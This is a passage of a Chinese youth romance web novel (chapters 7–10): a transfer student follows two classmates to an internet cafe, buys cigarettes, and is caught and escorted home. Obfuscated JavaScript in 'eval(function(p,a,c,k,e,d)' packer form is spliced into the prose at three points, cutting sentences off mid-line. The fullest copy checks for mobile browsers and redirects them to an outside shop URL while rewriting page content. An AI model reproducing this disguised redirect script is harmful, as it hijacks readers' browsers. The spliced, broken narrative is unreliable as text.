她不着痕迹地松了口气,“威胁”道:“带不带我去?” 见他不答,少女摸出手机:“我已经问梁老师要了李师的电话。” 周行知:“……” “行。”他也不知是气笑的还是被自己蠢笑的,或者别的,总之莫名其妙地就笑了。 这女孩为了让自己带她出去真的是下了不少功夫,他都有些好奇她要干嘛了。 “只是……你怎么上来?” 周行知双臂一环胸,看好戏般看着她:“先说好,我可不会帮你的,要是这你都做不到,就算你告到李老头面前,我也不会——” 话音戛然而止,因为少女当着她的面摸出了一样东西,朝他扬了扬,眼底闪着几分促狭的光。 周行知定睛一看,她纤细的指尖夹着一张卡片——走读证。 周行知磨了磨牙齿:“……” 行,你们走读生真是了不起。 他撇撇嘴:“门口等你。” 说完也不等她回答就跳了下去。 附中晚自习对走读生来说不是强制的,只是一般大家都会上完两节再走。 姜还走出校门,果然看见周行知等在那里。 她走过去:“我以为你不会等我。” 周行知呵呵一笑:“我是那种人吗。” 他倒是要看看她跟来有什么目的。 姜还看他,不置可否:“看来李师说话比较管用,你们为什么这么怕他?” “你不怕?”周行知反问,过了会儿反应过来什么:“你不知道?” 姜还比他更茫然:“我应该知道?” 不知道你还拿他威胁我? “……嘶。”周行知看她的表情,觉得事情有些大条了。 他表情严肃了些:“你认识我?” 姜还:“……” 周行知:“……” 好,他明白了,他一切都明白了。 姜还的妈妈一定没告诉她自己也在附中上学的事。 他在姜还白痴一样的眼神中,一言难尽地说:“主要是李师年纪大了,怕给他气出个好歹来,大家都让着他。” 很假的借口。 姜还知道他在撒谎,但没有拆穿,也懒得再问。 周行知知道这话骗不了她,忽然意味深长说:“以后你就知道了。” 网吧。 向随看着周行知身边多出来的少女,又看看周行知,没明白这是个什么情况。 姜还正打量网吧环境,往左往右看,就是不往向随那里看,双手无意识地抓着书包带子,整个人看着很乖。 向随的表情别提多震惊了,怎么就把她带来了,周行知是在想什么?不能因为对姜正元没有好感,就把气撒在人家女儿身上吧? 想带坏人家女儿?太幼稚的招数了,说出去他都嫌丢人。 周行知何其了解他,一个眼神他就知道他在想啥,现在又不是解释的好时机,只能朝他递过去一个“晚点再说”的眼神,对姜还说:“你坐里面吧。” 这家网吧他们和老板很熟,向随还投了钱,特意将最角落的位置给他们留着,离后门很近,方便跑路。 他们本来就是三人。 现在方桥不来了,又暂时没找到新队友,刚好腾出来给姜还坐。 向随视线还没来得及收回,就和望过来的姜还对上了。 “……” 这下是真要带坏好学生了。他想。 姜还看着他,那眼神无辜,又圆又亮。 向随挑了挑眉,把空位上放着的书包拿起来,椅子往前挪。 姜还走进去,学着他把书包挂在椅背上。 向随瞧见了她打量的眼神,也发现了她在学他,看到女孩在拉开椅子坐下后,眼睛都慢慢瞪大了,他面无表情地想: 完了,罪过大了。 这个位置跟姜还在班里的位置简直异曲同工。 她在班里也是坐在角落。 只是前桌变成了同桌。 她没想到这家网吧跟她听说的都不太一样,这椅子坐着怎么感觉很高档呢? “我去上个厕所。”周行知拍了拍向随,低声嘱咐说,“照顾着点。” “哦。”向随盯着屏幕,动也没动一下。 心里想的却是,谁带来的谁照顾好吗? 然后下单了一杯柠檬水。 一小局PK结束,向随点开蹦出的宝箱,只开出一册垃圾的技能书。 他眼底闪过一丝烦躁,轻动鼠标,退出了地图。 点的柠檬水正好送到,他随手摘了耳机挂在脖子上,扭头—— 只见少女整个陷在沙发里,头仰着,眼睛里盛着许多情绪,整个人看着安静而孤独。 他一顿,忽然迟疑。 但他的动静已经惊醒了她,他看见她眼神不安地躲闪,紧接着抿唇坐起身,纤细指尖扶在桌沿,另一只手在桌下摸索着什么。 “找什么?”他问,假装没有发现她慌乱掩饰的模样。 “电源。” 她皱了眉,眼神疑惑地朝下看去,没发现主机。 姜还坐直身体,眼神在桌上扫了一圈,发现桌面右上角有个漆黑的按钮,她伸过手去,不料另一只手几乎跟她同时探了过来,微凉的指尖轻轻擦过她的手背,先一步按下了开关。 “哒。” 屏幕亮了。 姜还愣了愣,手指无意识蜷缩:“谢谢。” 向随收回手,平淡地应了声,将那杯柠檬水推到她面前,表情再正常不过。 姜还看着眼前的柠檬水。 是给她的? 只是……为什么是柠檬水? 姜还四处看看,见他没有说话的意思,只好主动开口:“向随。” 男生指尖已落回键盘上,眼都没抬:“说。” 她委婉地问:“你和周行知不喝吗?” “怎么,想请我?”他目光仍落在屏幕上,左手轻敲着键盘。 漆黑键盘衬得他手指又长又白,侧脸线条冷硬,没多余表情。 姜还不动声色收回目光,点头:“可以。” 向随拿过一旁的菜单:“点吧。” 姜还问:“喝什么?” “随便。” “随便是什么?” “……”向随觉得麻烦,“你问周行知。” “问我什么?”周行知正巧回来了。 姜还举起手中菜单,从向随身后冒出脑袋,语气清浅:“我请你们喝东西,喝什么?” “不用,”周行知愣了愣,指着桌上那两罐开着的可乐,“我俩有。” 正说着,向随拿起可乐喝了口,喉结滚动。 又放回去。 姜还愣了愣,迟疑问:“你们……不喝酒么?” 她刚说完,就见周行知一脸震惊的表情。 ……? 向随吹了声口哨。 姜还意识到自己好像说错话了。 “……”她顿觉尴尬,偏过头,下意识往向随身后躲了躲,耳尖悄悄泛起一层薄红。 她还以为,像他们这样的,平时都是把酒当水喝、把烟当饭吃呢。 向随轻笑,表情散漫,仍旧盯着屏幕:“周行知,你带来的人,你管。” 周行知咳一声,拉开椅子坐下:“没成年呢,喝什么酒。” 难道她跟着他出来,就是认为他们是那种不良少年,想尝点新鲜的? 这想法还真是……稀奇。 “我和少爷也不是大家嘴里说的那样。”周行知搓了把头发,他也是第一次同人解释这些,有点不知道从什么地方说起,叹口气说:“……算了,以后你就知道了。” 听他这话,这是笃定他们以后会有很多交集了。 姜还想起这一周来,明明是同桌,他们说过的话却不超过十句。 “你为什么叫他少爷?”她真诚发问。 周行知也真诚地回答:“因为他本来就是家里的少爷啊。” 但姜还觉得他回答得很敷衍。 不过她也没兴趣了解这些,又问:“你们在玩什么游戏?” 周行知说了个名字,她没听过。 她再问:“这个怎么玩?” 周行知也开了电脑,把她推给向随:“你让少爷教你,他很厉害。” 向随显然不想接茬:“我没时间带菜鸟。” 姜还心中不服:“都没玩过,你怎么知道我是菜鸟?” “你连名字都没听过,不是菜鸟是什么?”向随仍然没看她,说话时手指点得飞快,屏幕里一个大boss就这样倒地,他轻笑:“你还差得远呢妹妹。” 姜还:“……” 这是她第一次听见他说这么多话,完全颠覆了她对他的印象。 太欠了。 姜还有点恼了。 她的性格随了宋玉琳,要强,只是轻易不表现出来。 跟姜还不熟的人,很容易被她的外表欺骗,认为她是个温顺无害、没什么脾气的软性子。 事实上她心气高着,一旦认定什么,八匹马都拉不回来。 向随这三言两语显然激起了她的胜负欲,她立刻忘记来这里的目的,什么也没说,把游戏当着向随的面打开了。 向随当然注意到了。 她不吭声也不反驳,乖得过分了,他后知后觉话说得过分了点,心里正琢磨着说点什么找补,就见女孩熟练地打开了游戏频道,认真地看起了攻略。 看到这里,向随表情有些怪异。 她该不会是真觉得看两眼攻略就能变得不菜吧? 那岂不是人人都是高手了? 向随在心里嗤笑一声,不认为她能看出个什么来,只是心底还是期待着什么。 期待什么? 期待她能给自己一个惊喜? 向随摇摇头,摸出手机——周行知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宋玉琳很早就评价姜还轴。 她盯着攻略看了将近四个小时,期间连姿势都没怎么变过。 那杯柠檬水不知道什么时候喝完了,只剩下几块冰叮当晃着。她犹未觉,咬着吸管,时不时吸两下,吸上来的是冰块化成的水。 这动静本来很小。 但不知怎地,向随就是听见了,那“滋滋”的声音就在他耳边,蜜蜂嗡嗡一样,挥不去、赶不走。 他戴着耳机,把音量调到最大都收效甚微。 有好几次他心想,再点杯新的算了,可一扭头看见少女认真的表情,又顿住了,有些迟疑。 再想起刚才周行知说的事。 更特么烦了。 他干脆将鼠标一扔,起身去了厕所,本以为这下耳根能清净些,可四周一安静下来,耳边又冒出了“滋滋”的声音。 向随抬头望了眼天花板不知在想什么,很久之后忽然“啧”了声。 他把水龙头开到最大,总算冲走了那恼人的声音。 不知不觉已经快十一点了。 姜还心里正计算着“骑士”大招的伤害,忽然听见有人在叫她。 不是错觉,是叫了好几声。 她摘下耳机,嘈杂声骤然砸进耳里,她听见了此起彼伏的敲键盘声和怒骂声。 扭头看去,周行知和向随已经关了电脑起身,一个在过道上站着,一个环胸倚着电脑桌,显然在等她。 向随不知从哪儿摸出一颗口香糖,放在手里转了几圈,拆开吃了,眉心紧拧,看着心情不太美妙。 “你们刚才在叫我吗?” 周行知说:“该回去了,十一点了。” 十一点!? 她慌忙站起来,不料太久没动四肢僵硬,整个人晃了一下,差点又坐回去。 周行知喊了声:“小心!” “我没事。”姜还摇摇头,注意到刚才向随伸出了手,似乎是想扶她。 但对方表情看着又不太像,让她拿不准。 她拿起自己的书包,说:“我去趟厕所。” “门口等你。”周行知说。 姜还点点头,看一眼向随。他腿太长,又有椅子挡着,姜还出不去。 男生手撑着桌面,“啵”地一声吹了个泡泡。 “阿随。”周行知叫。 向随这才看了她一眼,拎着书包走了。 “我去结账。”周行知又问姜还,“书包用不用帮你拿着?” 姜还摇头:“明天我把钱给你。” 周行知淡淡一笑,没说要不要:“客气了。” 晚风微凉,向随站在路边上,斜眼看了旁边醉汉一会儿,那醉汉吐得昏天地暗,难闻的气味被风吹了过来。 他的眉心慢慢皱起,正要走远点儿,忽然感觉一阵淡香传来。 他扭头,看见姜还走了过来。 少女大概在厕所里洗过脸,没完全擦干,额发和眉梢还湿着,素净的脸庞清透又柔和。 向随俯视着她,她亦仰头,她的眼睛干净,像浸在水里的玻璃珠子,表情十分认真:“明天继续。” 说完也不等他回应,转身就走。 向随看着她的背影,竟是半天没说句话来。 这算什么?向他挑战? 周行知结完账出来,看见向随在晚风中出神,他走过去,问:“姜还还没出来?” 向随语气莫名:“走了。” “走了?”周行知皱眉,“你就让她这么走了?” 向随眉心紧拧:“不然呢。” 他还在想姜还临走前丢下的那句话。 “去送她,女孩子大晚上一个人回家,不安全。” 向随嘴快过脑子:“你怎么不去?” 周行知语气严肃了些:“阿随。” 他得回学校,再晚宿舍要关门了。 况且,他还没想好该怎么单独面对那对母女。 “知道了。”向随表情一紧,又一松,语气听起来似乎十分不情愿。 他偏头往垃圾堆里把口香糖一吐,将背包甩在肩上,大步朝姜还离开的地方走去。 没走两步,速度骤然加快,最后干脆迈开长腿,直接跑了起来。 8. 008 姜还走过转角,心中憋着的那股劲猛然散了。 她的手心里全是汗。 现在已经很晚了,她一直没回去,宋玉琳恐怕急得不行了。刚才去洗手间,她就是去解决这件事。 幸好,宋玉琳也没回去。 -宋:妈妈加班,你自己放学了赶紧回家,别在外面逗留太晚 估计是真的忙,她没回,宋玉琳也没时间再发消息来问。 附中晚自习下得不算晚,新租的小区里附中的学生不止她一个,从学校到小区那一段路都是大路,两侧商铺更是营业到凌晨,宋玉琳倒是不担心她的安危。 今晚出来这一趟,是在她的算计之中,可结果太出乎她的意料了:向随和周行知似乎并不是同学们口中说的那样。 她是个极擅长观察的人,才一周,已经把班里同学、几个科任老师的性情差不多摸透了。 她自以为观察得仔细——向随确实是学校里的太子爷,走哪都被人簇拥着,人缘很好,脾气却差,甚至有点傲慢,那张嘴尤其毒,平时能不开口就不开口,一开口恨不能把人气死。 偏偏他身边的人还都吃这套。 周行知就是这些人里的“最”。 他和向随就是两个极端,脾气好,走哪儿都拥着向随,向随对周行知的耐心出乎意料的好,可两人除了都长得不错外,她找不到任何共同点,也想不通两人怎么成为的朋友。 她本以为周行知是个性格很温柔的人,可今天跟在他后面的时候她才发现,他只在向随在的时候温柔。 而向随呢,看着那么“坏”一人,实际像个没长大的小孩。 ——对,就是小孩。 幼稚,让人很烦。 想到这里,姜还忽然有些生气。 凭什么那么说她?! 她本以为这次跟出来,两人会带她去会所、酒吧那种地方,结果是网吧,也勉强还行吧。但结果呢,来是来了,她却坐在那儿看了四个多小时的游戏攻略——天,她刚才是疯了吗? 她还向向随下了战书。 多幼稚呀。姜还捂脸。 她真的是被那句“你还差得远呢妹妹”气得不轻。 她本来的打算是跟着这两个“不良少年”出来见见世面,看看坏学生是怎么样的。 现在呢,事情完全没有朝着她期待的方向发展。 但又不是特别失望。 她也说不准现在是个什么想法。 她低着头,脚下踢着石子,月光作灯,她一步步走着,路过一间小卖部时,脚步停住了。 那店里灯不怎么亮,铺面也小,后方的玻璃柜里展示着各种牌子烟和酒,老板是个三十来岁的男人,正坐在板凳上撑着脑袋打瞌睡。 姜还在店外看了一会儿。 心想今晚不能白来。 她下定了决心,走过去,但没进店,就在外面站着,指着一包包装看着不错的烟问:“老板,这个怎么卖?” 听见是道清浅年轻的女声,老板睁开眼懒懒看了一眼,瞥见她身上穿着的校服,又把眼睛闭上了:“未成年抽什么烟,赶紧走开别妨碍我做生意。” 跟周行知说的话一模一样。 他语气虽不好,但姜还没反驳,只说:“给我哥哥买的。” 老板再次睁眼,打量她,她不惧地回视,看起来很有底气,不像撒谎,老板眯了眯眼,也不知信没信,打开柜子把那包烟拿出来了:“20。” “谢谢。”姜还付了钱。 老板一双眼神精得很,这情况他见得多了,怕她再待着会出事,把钱找回去不耐烦挥手:“赶紧走吧,一会儿连累我被举报。” 没理会老板的嘲讽,姜还又拿出一张5块:“我还要一个打火机。” 老板随手从抽屉里拿了个用过的,说送她,姜还觉得有点丑,但老板已经在赶人了,她不好再说什么,揣着东西走了。 走至没人的巷子,姜还在原地深呼吸平复了心跳,然后摸出烟跟打火机。 她拆烟的手都在抖。 不会撕,找了几次都没找对。 脑海里冒出两个小人,左边那个恶魔小人呲着牙咧着嘴,用幽灵般蛊惑的声音说:对,就是这样,姜还,变坏吧!这样姜正元就会讨厌你,不会再说把你接过去的话,宋玉琳就是想把你送过去都不行! 右边的天使小人一脸悲悯,合十了双手担忧地说:不行姜姜,妈妈会生气的!她会很伤心!她有多珍惜你多爱你你不知道吗?她这辈子最期望的就是你出人头地!我们不要做让她伤心的事好吗? 恶魔小人张大了嘴:出人头地?那只是她要面子罢了,她是不想输给任何人,也不想自己生下来的女儿是个平庸的孩子,她哪里有当妈妈的样子?她一点都不体谅你,只在乎自己的利益,你忘了你的名字是怎么来的了吗! 天使小人悲愤地说:世上哪有妈妈不爱女儿的?她也有她的难处,她只有你了,她为了你放弃工作离开自己生活数十年的地方,甚至向姜正元低头……她都是为了你好啊!姜姜,妈妈已经很苦了,我们不能再抛弃她了! 恶魔小人呸一声:可是宋玉琳做这些的时候有考虑过你的感受吗?你不希望她为你牺牲这一切,没有这一切,不用来锦城,你也可以做得很好,她却不信任你,她到底是为了你有更好的教育,还是不甘心输给那个女人的孩子?她总是那样,她根本不爱任何人,她只爱她自己! 天使小人摇头说:不,妈妈她是—— “喂。” 一道冷淡的男声从身后响起。 脑海中霎时清静,姜还手一抖,香烟掉在地上多半。 她惊恐,回头,看到向随站在巷口,背着光,人高腿长,肩膀宽阔平直,单手拎着包甩在肩上,另只手插着兜,打在地上的影子几乎要将她笼罩。 他目光和她受惊的眼神短暂地碰了下,缓缓下移,落在了她手中和掉落在地上的‘罪证’上,再触及她手中那根已被咬过但没来得及点燃的香烟,男生眉心渐渐拧起。 姜还心跳飞快,她张了张口,一时不知道该说什么,下意识将手背在身后。 少女身形单薄,像干坏事被抓包的孩子,抿着唇,眼中透露出一丝茫然和惊恐。 巷子里静谧,视线再次蓦然撞上,一双眼睛里没什么多余的情绪,冷淡得像一把锋利的刀,直直地插|进了混乱的漩涡,将在里头不断挣扎的丝线尽数斩断。 “你在抽烟?” “……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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向随挑了挑眉:“那你别让我看到啊。” 谁让你跟来了! 姜还咬着唇,不想再跟他继续争执。 他还是笑,将那根烟插回烟盒,笑意渐渐敛去,语气也变得有些冷淡:“东西我就先没收了。” 她忽然很想骂一句,你是我谁啊你! “我跟你不熟吧?” 言外之意就是你凭什么管我? 姜还看见男生表情忽然变得有点难看,似乎下一秒就要说“我特么稀得管你!”,但不知道为什么,他没说出来,只大大翻了个白眼。 姜还:“……” 巷子里一时安静下来,过了不知道多久,向随再次向前,姜还一惊,立刻往后退了两步,他却走到她刚才的位置停住不动了。 姜还看见他蹲下将落在地上的烟全部捡起来装进烟盒,随意往兜里一塞,然后起身冷硬地朝她说:“走了。” 姜还感觉到他似乎飞了自己一眼。 她看着他黑夜中不甚明晰的表情,警惕问:“去哪儿?” 男生面无表情地说:“送你回家。” 9. 009 夜色笼罩,人影渐少。 第三次回到这条小巷,向随终于忍不住了:“就算我撞破了你的‘好事’,也用不着这么整我吧?” 姜还有点尴尬。路痴这事儿,说出来也不算那么的光彩。 从网吧出来是另一条路,她没走过,根本不知道该怎么回去。 见她嘴巴跟缝上了一样,向随下巴一扬提高了音量:“说话。” 不就说了几句,又没上手,做什么这么生气? 女孩还是不吭声。 向随完全拿她没办法了,多少猜到点什么,瞥一眼她,转身说:“跟着我。” 姜还没动,脚跟钉在地上了似的。 向随走两步发现她没跟上,仰头看了眼天,像是忍着什么,然后他转回过身来,两步走回她身边。 “你想干什……” 男生一声不吭地握住了她的手腕,拉着就往前走。 姜还立刻警惕:“喂……!” 向随没出声,力气大得出奇,握着她手腕的手像只铁钳,姜还根本挣不过他,轻易被他带着往前走,做出的任何反抗都是徒劳,她哪里甘心,只能骂道:“你放开我!你个混蛋!” 向随嘲讽地扯了扯嘴唇:“我们坏学生骂人一般不说混蛋。” 就这点杀伤力想气谁呢。 说着,手上力气也没松,拎着她细细一只腕子,走出几步不禁有些恍惚:怎么这么瘦? 他是知道她瘦的,一上手才明白了个真切,好似轻轻一用力,就能将其掰断。 他拉着她,根本用不了多少力气。 …… 姜还脸已经红了,被他臊得有点无地自容,自小到大她从没这样过,她是有点生气的,可她和他之间的悬殊太大了,她根本敌不过,这又让她有些无力。 卖烟酒的老板被这不大也不算小的动静吵醒,睁开眼一看,身材高瘦的男生拉着刚才朝她买烟的少女从他面前走过,俩人都穿着附中的校服,一个挣扎不服气,一个绷着脸不高兴。 他唏嘘:“这么快就被逮到了?” 而后扬声:“小妹妹,回去跟你哥哥好好认个错,烟确实不是你这个年纪该碰的!” 姜还脸色彻底红了,扭头忿忿道:“他不是我哥哥!” 向随却勾起唇,收紧了手,一用力将她拉到自己跟前,痞气地笑着:“我不是你哥哥是什么?我不比你大?” 姜还不欲跟他争谁大谁小,叹了口气,已经有点妥协了:“放开我行不行?” “放开你又不走怎么办?” “我会走的!” 向随不说话,显然不信。他腿长,步子迈得大,姜还得小跑起来才能跟上,她耐心和体力都有点告罄,有些烦躁地说:“你到底要带我去哪儿?” 他忽然恶劣一笑:“当然是去满足你的愿望。” 姜还一窒,他都看出来了? 他要带她去酒吧?? 可是现在都这么晚了,等宋玉琳回家看到她不在会生气的。搞不好以后都不让她自己回去了,还会把她关在房间里教育。 她这下意识到事情严重性了,低低哀求:“向随……你放开我好不好?” 向随听着她明显软下来的声音,戏谑道:“撒娇也没用,现在知道怕了?” 她点头。 向随冷眼看着她装:“以后还随便跟陌生人走吗?” 她摇头。 又说:“可你和周行知不是陌生人。” 说者无心听者有意,向随一顿:“那也不行。” 她只好无奈地说:“我知道了。” …… 向随终于松开了她,还没说什么呢,她却避瘟神一样退了三步还多。 向随:“……” 他声音冷淡道:“以后别惹我生气。” 姜还心说谁跟你有“以后”,触及男生威胁的眼神后,立刻收起腹诽,乖乖答:“好。” 刚才的教训她都记着呢。 向随不料她这会儿这么好说话,古怪地打量着她,似在思考眼前的人和刚才在小巷里被他逮到的人,到底哪个才是真的她。正想着,姜还恰好抬起头来,两人视线撞上,向随不咸不淡地看了她一眼,眼睛便看向了别处。 “跟上。”他冷淡地说。 …… 女孩慢吞吞地走到他身边,边走边揉手腕。 娇气,他力气有那么大? 向大少爷抄在兜里的手握紧又松开,好悬才把握过她的那只手拿起来看的念头压下去。 走了几分钟,附中大门出现在眼前。 姜还微睁大了眼,瞬间明白过来了。 ——网吧往家走不知道,学校到家总知道了吧? “就这样还学人家翻墙出来上网,哪天被人卖了都不知道。”他一路都在打量她,见她表情微窘,也是不错过机会冷嘲热讽。 他还没见过如此路痴的人,她家里人也放心她一个人回去? 姜还心想这人讲话真的好讨厌,他家里人也能忍得下去? 她冷静地说:“我没翻墙。” 堂堂正正从大门出去的。 他嗤笑一声,似在嘲讽她的辩驳苍白无力。 “……” 姜还生气了,决定不理他,扭头便走。 附中到家这一段路她很熟悉了,宋玉琳在陪她走过一次、确定她没问题之后才松口让她一个人回的。 她在前面走,他就在后面跟着,也没出声。 街上已经没多少学生了,好几家商铺收拾了东西准备打烊。两旁路灯很亮,路灯下有两道影子。 姜还心里生着气,低头看见向随的影子和她挨着,分明走在她后面,竟然还比她高几分。她不动声色加快步伐,直到脚下就是向随影子的脑袋,她慢下来。 她一边看影子一边用余光看路。 那影子往左,她就往左;影子往右,她也往右。 她舒坦了,又有些心虚地偷偷往后瞄,见向随低头拿着手机在看,没空注意她。 姜还松口气,却没再继续踩了。 离家越来越近,她的心绪也渐渐平静下来。 今晚发生的事都太诡异了,让她觉得时间那样漫长,一看才过了20分钟不到。 “我要到了。”姜还说。 这条街过个马路就是她们小区。 向随收了手机,装模作样看了半天头垂得也有点累。他摸了下脖子,眼神随意往小区周围打量。 这不打量不要紧,一打量简直一言难尽:居然有人这么短的距离都能迷路? 人既然送到,他的任务也算完成了,扭头便走:“走了不用送。” 姜还“谢谢”二字卡在喉咙,闻言嘀咕:“也没说要——” 向随停步扭头,姜还立刻捂住了嘴。 他低头看了她片刻,转身,这下是真的走了。 - 姜还刚把书包放下,宋玉琳就回来了。她装作寻常在家的模样,拿着睡衣出门去。 宋玉琳正低头换着鞋子,面色疲惫,看见她出来一愣:“还没睡?” “准备睡了。”姜还示意自己怀里的衣服,“洗完澡就睡。” 宋玉琳点点头,显然没多想:“别学太晚,妈妈今天有点累了,明天早上想睡会儿懒觉,你自己出去吃。” “好。”姜还点头,“您早点睡。” 姜还进了浴室,把门关上,怅然地靠着门背,捏着睡衣布料的手指收紧。 天使小人和恶魔小人又来了。 天使小人说:姜姜你看到了吗,妈妈这么累了,她都是为了你,你不该那么做让她担心。 恶魔小人说:她不搬过来什么事也没有,在江城待得好好的,干嘛非要来?又不是我们逼的。 天使小人又说:可是我们这么做确实是不对的呀,今晚又被向随发现了,他会不会说出去啊…… 恶魔小人说:说出去更好,趁早让姜正元死了那条心。 姜还眼前闪过向随那张欠揍的脸,以及那双没什么情绪的眼睛,摸着手腕甩了甩脑袋,终于清静。 洗完澡出来,房间里的温度已经降下来,姜还从抽屉里把笔记本电脑搬出来,连上网下载游戏,足足有20G,要下载两个小时。 姜还把它切到后台下着,打开贴吧继续看攻略。 她的睡衣是吊带睡裙,是宋玉琳唯一允许她穿的裙子,光着胳膊,看了会儿有点冷,干脆把被子拿起来披着。 - 向随回到家先去洗了个澡,洗完出来去冰柜里开了瓶冰水,仰头灌下大半瓶。 他头发都还湿着,在往下滴水,衣服也没穿,就腰间裹了条浴巾,没擦干的水珠顺着他分明的肌理沟壑滑落,最后没入下方不见。 偌大的别墅只有三楼亮着灯,他刚一个人住那会儿,周行知和李裴川总发来消息问他怕不怕。 少爷的字典里从来没有“怕”这个字。 随意丢在餐吧的手机亮了,他拧上瓶盖走过去拿起一看。 -周行知:人送到了吗 这条是20分钟前发的。 他太久没回,刚刚又发来一条,是个问号。 向随回了一个句号。 周行知很快回复。 -周行知:才到家?怎么这么晚? 向随心说,跟一个路痴在路上耽误了20多分钟,你说呢? -用户不存在:刚洗澡去了 向随发完这条,把手机往卧室一丢,走去浴室把换下来的校服丢进洗衣机里洗了。 “啪嗒。” 一个东西从裤兜里掉了下来。 向随低头一看,是他从某人那里收缴的“赃物”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469762|201412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浴室地板还湿着,向随捡起来拍了拍,唇角扯出一道莫名的弧度,打开一看,少女咬过的那根就放在最前面。 有些人就是表面再冷静,眼神是骗不了人的。 姜、还。 他嘴里咂摸着这个名字。 姜正元的女儿,你究竟想干什么呢? - 第二天早上姜还又起迟了,客厅安安静静的,宋玉琳还没起,她迅速收拾好出门,路上吃的也没买,终于赶在校门关的前一秒进了学校。 早读已经开始,校园里没几个人。 姜还刚在座位上坐下没多久,上课铃就打响了。 向随还没来。 看来这位少爷也不像他口中说得那么好。 但下节课是数学,姜还有种预感:他快到了。 果不其然,下一秒后门被人推开,向随带着一张冷脸就进来了,路过她旁边时,掀起一阵风,把她放在桌面的草稿纸吹了起来。 姜还忙伸手按住。 他像是刚起床没多久,后脑翘起的头发还没完全压下去,姜还低头,在画本上给Q版的向随加了根呆毛。 又觉不够,便在左右两边各添一根。 “三毛傲娇传”。 姜还差点被自己的杰作逗笑了。 李立风带着书进来了,她抿住唇收了东西,把数学书摊开。 这一节讲新知识,讲之前,李立风在黑板上出了两道大题让大家花十分钟做完。 姜还扫了一眼,摸不准这课堂作业交不交,还是认认真真写了。 这时候成绩孰好孰坏就体现出来了,跟她心中的猜测大差不差。 姜还听见周行知最先放下笔。 他也没用多长时间,似乎在演草纸上画了几笔就得出了答案。 然后是坐得靠前的几位同学。 令姜还意外的是,她的前桌迟迟没写完。 李立风都在讲新知识了,他还在那儿写,一直没抬过头,宽阔的背脊微佝着,挡住了姜还观察的视线。 周行知就在旁边,她也不好观察得太明显。 看来少爷成绩不怎么样。 下了课,李立风收了教案,站在讲台上喊:“姜还,你出来一下。” 李立风带着姜还走到了楼梯间,从书里抽出一张夹着的试卷。 “你的试卷我看了,进步很大,之前有点忙一直没找你谈话,怎么样,还习惯吗?” 姜还能顺利转进附中,是靠着附中一个老师的人情,连那些附中往年的题册都是那位老师给的。 宋玉琳没告诉过她,要不是李立风今天找她,她都不知道那个老师就是他。 “挺好的,大家都很好相处。” 李立风点点头,又问:“学习还跟得上吗?” 这个问题,姜还回答得有些迟疑。李立风以为她觉得有点难却不好意思开口,便安慰说:“没关系,你才刚来,附中的教育方式确实跟其他学校不太一样,慢慢地就适应了,你有什么拿不准的,可以问周行知,问向随也行。” 他说得那么自然,仿佛她和周行知、向随关系多好似的。 同桌、前后桌就要关系很好吗? 姜还乖巧地点了点头,她安安静静不说话的时候,还是很有欺骗性的。李立风又和她说了些别的,大部分都是有关附中的,姜还心想,姜正元面子挺大,李立风对她的关照比想象中还多。 “好了快上课了,你先回去吧,哦对了,帮我告诉向随,让他大课间的时候来找我一下。” “好。”姜还转身回了教室。 向随已经在座位上趴下了。 她是领教过少爷嘴多厉害的,暂且不想触霉头,便找到周行知。 周行知早上没吃饭,正拆了面包准备啃,看见姜还在自己座位旁边停下,眼神疑惑。 “李师让向随大课间去找他。” 周行知:“我不叫向随。” 姜还差点没绷住,无语地说:“我是让你告诉他一下。” 周行知自己也被自己逗乐了,“好,我知道了。” 第二节课一下课,周行知就走过去拍了拍向随搭在后脑的手:“李立风叫你。” 他才叫了一次,向随就醒了。 坐直身体什么也没说,拧开水瓶喝了口水,出去了。 直到午间休息结束,向随才从外面回来。 回来后也没停,拎起挂在椅子上的书包,伸出食指在周行知课桌上点了点。 “马上。”周行知正算着一道大题,头也没抬。 向随没有等他,径直出了教室。 姜还扭头看了眼,放下手中的作文书,也跟着收拾书包。 没一会儿周行知把题解出来了,东西都没收拾,把笔一扔就追了出去。 姜还在心里默数3秒,也背着书包跟着追了出去。 10. 010 向随在楼下自动售卖机买了两瓶冰水,周行知追过来,他递过去一瓶。 “李叔找你干嘛了,说这么久?”周行知看着他问。 向随说:“竞赛。” “又让你去?” “嗯,”向随表情倒是还好,“说是周启瑶让的。” “……” 李立风经常拿周启瑶女士当金牌使,也不怕他去求证,反正这两个忘年交经常沆瀣一气地坑儿子。 周行知也猜这话里有几分真几分假,毕竟他姑姑的性格,没人猜得透。向随简直是她的翻版,靠着一起长大的情谊,前者心里想着什么他还能猜到七八分,对于后者,他完全就是又敬又畏了,只因小时候没少被她魔爪折磨。 周行知问:“那你去不?” 向随眯起眼:“你觉得我要是说不去,他能放我走?” 周行知说:“也是,所以你就在办公室待到中午才回来?” 不太可能。 事实上大课间还没结束向随就走了,但也没回教室,出了办公室就直奔天台。 附中天台常年锁着,但向随有一个从小练就的技能——他会开锁。 和偶像剧里浪漫的桥段完全不同,学校的天台不让人上去,哪怕他被人叫“少爷”也不行。但既然上去过,也不会没人看见,但大家都理所当然地以为,少爷就是少爷,做到什么不可能,简直太可能了。 任谁也想不到,少爷上天台的途径那样的不太光彩…… “昨天晚上,你……”周行知话说到一半听见有人在喊。 “向随!” 向随拧开水喝了口,没听见似的继续往前走,倒是周行知往后看了一眼:“叫你呢。” “我怎么没听到。”向随没停。 “向随。”姜还终于追了上来,喘着气停在他们面前。 准确地说,是拦住了向随的去路。 周行知眼睛一眯,立刻收了声,且往旁边退了两步。 